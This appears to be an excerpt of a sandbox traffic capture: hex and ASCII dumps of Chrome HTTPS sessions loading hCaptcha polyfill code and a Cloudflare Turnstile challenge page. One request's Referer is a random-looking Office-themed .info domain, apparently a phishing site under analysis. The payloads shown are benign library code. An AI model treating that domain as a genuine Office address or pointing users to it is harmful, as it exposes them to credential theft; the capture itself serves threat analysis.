2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 63 6f 64 69 6e 67 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 65 6e 63 6f 64 69 6e 67 2e 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 7d 29 2c 42 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 63 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3d 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 3f 22 22 3a 53 74 72 69 6e 67 28 74 29 2c 65 3d 79 28 65 29 2c 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 7c 7c 28 74 68 69 73 2e 5f 65 6e 63 6f 64 65 72 3d 45 5b 74 68 69 73 2e 5f 65 6e 63 6f 64 69 6e 67 2e 6e 61 6d 65 5d 28 7b 66 61 74 61 6c 3a 22 66 61 74 61 6c 22 3d 3d 3d 74 68 69 73 2e 5f 66 61 74 61 6c 7d 29 29 2c 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c Data Ascii: prototype,"encoding",{get:function(){return this._encoding.name.toLowerCase()}}),B.prototype.encode=function(t,e){t=t===undefined?"":String(t),e=y(e),this._do_not_flush\|\|(this._encoder=E[this._encoding.name]({fatal:"fatal"===this._fatal})),this._do_not_fl
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 49 68 76 63 4e 41 51 45 42 3a 22 31 2e 32 2e 38 34 30 2e 31 31 33 35 34 39 2e 31 2e 31 2e 31 22 7d 2c 63 3d 7b 22 31 2e 32 2e 38 34 30 2e 31 31 33 35 34 39 2e 31 2e 31 2e 31 22 3a 22 4b 6f 5a 49 68 76 63 4e 41 51 45 42 22 7d 3b 69 66 28 5b 22 67 65 6e 65 72 61 74 65 4b 65 79 22 2c 22 69 6d 70 6f 72 74 4b 65 79 22 2c 22 75 6e 77 72 61 70 4b 65 79 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 69 5b 74 5d 3b 69 5b 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 6f 2c 6c 29 7b 76 61 72 20 63 2c 68 2c 75 2c 70 2c 77 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 3b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 22 67 65 6e 65 72 61 74 65 4b 65 79 22 3a 63 3d 79 28 72 29 2c 68 3d 6f 2c 75 3d 6c 3b 62 Data Ascii: IhvcNAQEB:"1.2.840.113549.1.1.1"},c={"1.2.840.113549.1.1.1":"KoZIhvcNAQEB"};if(["generateKey","importKey","unwrapKey"].forEach((function(t){var n=i[t];i[t]=function(r,o,l){var c,h,u,p,w=[].slice.call(arguments);switch(t){case"generateKey":c=y(r),h=o,u=l;b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	50657	104.19.229.21	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:13 UTC	347	OUT	GET /1/api.js HTTP/1.1 Host: js.hcaptcha.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:13 UTC	487	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:13 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close etag: W/"a9b0c42bb513f1f63e6b58ce9bfce558" Cache-Control: max-age=300 alt-svc: h3=":443"; ma=86400 vary: Origin CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff age: 0 cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9026759f0fb1423e-EWR
2025-01-15 14:12:13 UTC	882	IN	Data Raw: 37 64 61 64 0d 0a 2f 2a 20 7b 20 22 76 65 72 73 69 6f 6e 22 3a 20 22 30 22 2c 20 22 68 61 73 68 22 3a 20 22 4d 45 59 43 49 51 43 4b 66 49 32 6c 79 37 4a 6d 33 58 44 36 32 6a 53 4d 59 66 56 53 51 41 48 66 50 53 61 44 6c 79 4f 44 42 6c 35 37 56 46 4f 4d 47 41 49 68 41 4f 49 50 6a 7a 34 77 7a 79 30 38 46 61 4a 66 44 52 64 4d 75 50 63 54 42 79 62 76 41 41 64 59 37 75 33 69 58 45 71 57 39 4a 55 6a 22 20 7d 20 2a 2f 0a 2f 2a 20 68 74 74 70 73 3a 2f 2f 68 63 61 70 74 63 68 61 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 28 66 Data Ascii: 7dad/* { "version": "0", "hash": "MEYCIQCKfI2ly7Jm3XD62jSMYfVSQAHfPSaDlyODBl57VFOMGAIhAOIPjz4wzy08FaJfDRdMuPcTBybvAAdY7u3iXEqW9JUj" } // https://hcaptcha.com/license */!function(){"use strict";function e(e){var t=this.constructor;return this.then((f
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 73 3a 22 66 75 6c 66 69 6c 6c 65 64 22 2c 76 61 6c 75 65 3a 6e 7d 2c 30 3d 3d 2d 2d 69 26 26 74 28 72 29 7d 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 72 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 6f 28 61 2c 72 5b 61 5d 29 7d 29 29 7d 76 61 72 20 6e 3d 73 65 74 54 69 6d 65 6f 75 74 2c 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 74 49 6d 6d 65 64 69 61 74 65 3f 73 65 74 49 6d 6d 65 64 69 61 74 65 3a 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 6c 65 6e 67 74 68 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f Data Ascii: s:"fulfilled",value:n},0==--i&&t(r)}for(var a=0;a<r.length;a++)o(a,r[a])}))}var n=setTimeout,r="undefined"!=typeof setImmediate?setImmediate:null;function i(e){return Boolean(e&&"undefined"!=typeof e.length)}function o(){}function a(e){if(!(this instanceo
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 68 28 65 2c 74 2c 6e 29 7b 74 68 69 73 2e 6f 6e 46 75 6c 66 69 6c 6c 65 64 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 6e 75 6c 6c 2c 74 68 69 73 2e 6f 6e 52 65 6a 65 63 74 65 64 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 3f 74 3a 6e 75 6c 6c 2c 74 68 69 73 2e 70 72 6f 6d 69 73 65 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 74 29 7b 76 61 72 20 6e 3d 21 31 3b 74 72 79 7b 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 7c 7c 28 6e 3d 21 30 2c 63 28 74 2c 65 29 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 7c 7c 28 6e 3d 21 30 2c 6c 28 74 2c 65 29 29 7d 29 29 7d 63 61 74 63 68 28 72 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 3b 6e 3d 21 30 2c 6c 28 74 2c 72 29 7d 7d 61 2e 70 Data Ascii: function h(e,t,n){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.promise=n}function d(e,t){var n=!1;try{e((function(e){n\|\|(n=!0,c(t,e))}),(function(e){n\|\|(n=!0,l(t,e))}))}catch(r){if(n)return;n=!0,l(t,r)}}a.p
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 6e 68 61 6e 64 6c 65 64 20 50 72 6f 6d 69 73 65 20 52 65 6a 65 63 74 69 6f 6e 3a 22 2c 65 29 7d 3b 76 61 72 20 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 29 72 65 74 75 72 6e 20 73 65 6c 66 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 29 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 29 72 65 74 75 72 6e 20 67 6c 6f 62 61 6c 3b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 75 6e 61 62 6c 65 20 74 6f 20 6c 6f 63 61 74 65 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e Data Ascii: nhandled Promise Rejection:",e)};var f=function(){if("undefined"!=typeof self)return self;if("undefined"!=typeof window)return window;if("undefined"!=typeof global)return global;throw new Error("unable to locate global object")}();function p(e,t,n){return
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 62 65 6c 73 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 5f 5b 74 5d 3d 65 7d 29 29 7d 29 29 7d 29 29 3b 76 61 72 20 78 2c 45 3d 7b 22 55 54 46 2d 38 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6a 28 65 29 7d 7d 2c 43 3d 7b 22 55 54 46 2d 38 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 54 28 65 29 7d 7d 2c 53 3d 22 75 74 66 2d 38 22 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 65 2c 74 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 4f 29 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6c 6c 65 64 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 2e 20 44 69 64 20 79 6f 75 20 66 6f 72 67 65 74 20 27 6e 65 77 27 3f 22 29 3b 65 3d 65 21 3d 3d 75 6e 64 65 66 69 Data Ascii: bels.forEach((function(t){_[t]=e}))}))}));var x,E={"UTF-8":function(e){return new j(e)}},C={"UTF-8":function(e){return new T(e)}},S="utf-8";function O(e,t){if(!(this instanceof O))throw TypeError("Called as a function. Did you forget 'new'?");e=e!==undefi
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 50 72 6f 70 65 72 74 79 7c 7c 28 74 68 69 73 2e 65 6e 63 6f 64 69 6e 67 3d 6e 2e 5f 65 6e 63 6f 64 69 6e 67 2e 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 29 7b 76 61 72 20 74 3d 65 2e 66 61 74 61 6c 2c 6e 3d 30 2c 72 3d 30 2c 69 3d 30 2c 6f 3d 31 32 38 2c 61 3d 31 39 31 3b 74 68 69 73 2e 68 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 73 29 7b 69 66 28 73 3d 3d 3d 79 26 26 30 21 3d 3d 69 29 72 65 74 75 72 6e 20 69 3d 30 2c 62 28 74 29 3b 69 66 28 73 3d 3d 3d 79 29 72 65 74 75 72 6e 20 77 3b 69 66 28 30 3d 3d 3d 69 29 7b 69 66 28 70 28 73 2c 30 2c 31 32 37 29 29 72 65 74 75 72 6e 20 73 3b 69 66 28 70 28 73 2c 31 39 34 2c 32 32 33 29 29 69 3d 31 2c 6e 3d 33 31 26 73 3b 65 6c 73 65 20 69 66 Data Ascii: Property\|\|(this.encoding=n._encoding.name.toLowerCase()),n}function T(e){var t=e.fatal,n=0,r=0,i=0,o=128,a=191;this.handler=function(e,s){if(s===y&&0!==i)return i=0,b(t);if(s===y)return w;if(0===i){if(p(s,0,127))return s;if(p(s,194,223))i=1,n=31&s;else if
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 68 7c 7c 28 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 3d 43 5b 74 68 69 73 2e 5f 65 6e 63 6f 64 69 6e 67 2e 6e 61 6d 65 5d 28 7b 66 61 74 61 6c 3a 22 66 61 74 61 6c 22 3d 3d 3d 74 68 69 73 2e 5f 65 72 72 6f 72 5f 6d 6f 64 65 7d 29 2c 74 68 69 73 2e 5f 42 4f 4d 73 65 65 6e 3d 21 31 29 2c 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 3d 42 6f 6f 6c 65 61 6e 28 74 2e 73 74 72 65 61 6d 29 3b 66 6f 72 28 76 61 72 20 72 2c 69 3d 6e 65 77 20 76 28 6e 29 2c 6f 3d 5b 5d 3b 3b 29 7b 76 61 72 20 61 3d 69 2e 72 65 61 64 28 29 3b 69 66 28 61 3d 3d 3d 79 29 62 72 65 61 6b 3b 69 66 28 28 72 3d 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 69 2c 61 29 29 3d 3d 3d 77 29 62 72 65 61 6b 3b 6e 75 6c 6c 21 3d 3d 72 26 26 28 41 72 72 61 79 2e 69 73 41 Data Ascii: h\|\|(this._decoder=C[this._encoding.name]({fatal:"fatal"===this._error_mode}),this._BOMseen=!1),this._do_not_flush=Boolean(t.stream);for(var r,i=new v(n),o=[];;){var a=i.read();if(a===y)break;if((r=this._decoder.handler(i,a))===w)break;null!==r&&(Array.isA
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 35 33 33 29 3b 65 6c 73 65 20 69 66 28 6f 3e 3d 35 35 32 39 36 26 26 6f 3c 3d 35 36 33 31 39 29 69 66 28 72 3d 3d 3d 6e 2d 31 29 69 2e 70 75 73 68 28 36 35 35 33 33 29 3b 65 6c 73 65 7b 76 61 72 20 61 3d 74 2e 63 68 61 72 43 6f 64 65 41 74 28 72 2b 31 29 3b 69 66 28 61 3e 3d 35 36 33 32 30 26 26 61 3c 3d 35 37 33 34 33 29 7b 76 61 72 20 73 3d 31 30 32 33 26 6f 2c 63 3d 31 30 32 33 26 61 3b 69 2e 70 75 73 68 28 36 35 35 33 36 2b 28 73 3c 3c 31 30 29 2b 63 29 2c 72 2b 3d 31 7d 65 6c 73 65 20 69 2e 70 75 73 68 28 36 35 35 33 33 29 7d 72 2b 3d 31 7d 72 65 74 75 72 6e 20 69 7d 28 65 29 29 2c 69 3d 5b 5d 3b 3b 29 7b 76 61 72 20 6f 3d 72 2e 72 65 61 64 28 29 3b 69 66 28 6f 3d 3d 3d 79 29 62 72 65 61 6b 3b 69 66 28 28 6e 3d 74 68 69 73 2e 5f 65 6e 63 6f 64 65 72 Data Ascii: 533);else if(o>=55296&&o<=56319)if(r===n-1)i.push(65533);else{var a=t.charCodeAt(r+1);if(a>=56320&&a<=57343){var s=1023&o,c=1023&a;i.push(65536+(s<<10)+c),r+=1}else i.push(65533)}r+=1}return i}(e)),i=[];;){var o=r.read();if(o===y)break;if((n=this._encoder
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 61 70 4b 65 79 22 3a 6c 3d 62 5b 34 5d 2c 75 3d 62 5b 35 5d 2c 68 3d 62 5b 36 5d 2c 62 5b 32 5d 3d 63 2e 5f 6b 65 79 7d 69 66 28 22 67 65 6e 65 72 61 74 65 4b 65 79 22 3d 3d 3d 65 26 26 22 48 4d 41 43 22 3d 3d 3d 6c 2e 6e 61 6d 65 26 26 6c 2e 68 61 73 68 29 72 65 74 75 72 6e 20 6c 2e 6c 65 6e 67 74 68 3d 6c 2e 6c 65 6e 67 74 68 7c 7c 7b 22 53 48 41 2d 31 22 3a 35 31 32 2c 22 53 48 41 2d 32 35 36 22 3a 35 31 32 2c 22 53 48 41 2d 33 38 34 22 3a 31 30 32 34 2c 22 53 48 41 2d 35 31 32 22 3a 31 30 32 34 7d 5b 6c 2e 68 61 73 68 2e 6e 61 6d 65 5d 2c 6e 2e 69 6d 70 6f 72 74 4b 65 79 28 22 72 61 77 22 2c 74 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 6c 2e 6c 65 6e 67 74 68 2b 37 3e 3e 33 29 29 2c 6c 2c 75 2c 68 Data Ascii: apKey":l=b[4],u=b[5],h=b[6],b[2]=c._key}if("generateKey"===e&&"HMAC"===l.name&&l.hash)return l.length=l.length\|\|{"SHA-1":512,"SHA-256":512,"SHA-384":1024,"SHA-512":1024}[l.hash.name],n.importKey("raw",t.getRandomValues(new Uint8Array(l.length+7>>3)),l,u,h
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 6e 22 48 4d 41 43 22 3d 3d 3d 6c 2e 6e 61 6d 65 26 26 28 6c 2e 6c 65 6e 67 74 68 7c 7c 28 6c 2e 6c 65 6e 67 74 68 3d 38 2a 65 2e 61 6c 67 6f 72 69 74 68 6d 2e 6c 65 6e 67 74 68 29 29 2c 30 3d 3d 6c 2e 6e 61 6d 65 2e 73 65 61 72 63 68 28 22 52 53 41 22 29 26 26 28 6c 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 7c 7c 28 6c 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 3d 28 65 2e 70 75 62 6c 69 63 4b 65 79 7c 7c 65 29 2e 61 6c 67 6f 72 69 74 68 6d 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 29 2c 6c 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 7c 7c 28 6c 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 3d 28 65 2e 70 75 62 6c 69 63 4b 65 79 7c 7c 65 29 2e 61 6c 67 6f 72 69 74 68 6d 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 29 29 2c 65 3d 65 2e 70 75 62 6c 69 63 4b Data Ascii: n"HMAC"===l.name&&(l.length\|\|(l.length=8*e.algorithm.length)),0==l.name.search("RSA")&&(l.modulusLength\|\|(l.modulusLength=(e.publicKey\|\|e).algorithm.modulusLength),l.publicExponent\|\|(l.publicExponent=(e.publicKey\|\|e).algorithm.publicExponent)),e=e.publicK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	50661	104.18.95.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:13 UTC	832	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:13 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26699 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-15 14:12:13 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 32 36 37 35 61 30 34 38 37 61 31 61 32 34 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 902675a0487a1a24-EWRalt-svc: h3=":443"; ma=86400
2025-01-15 14:12:13 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
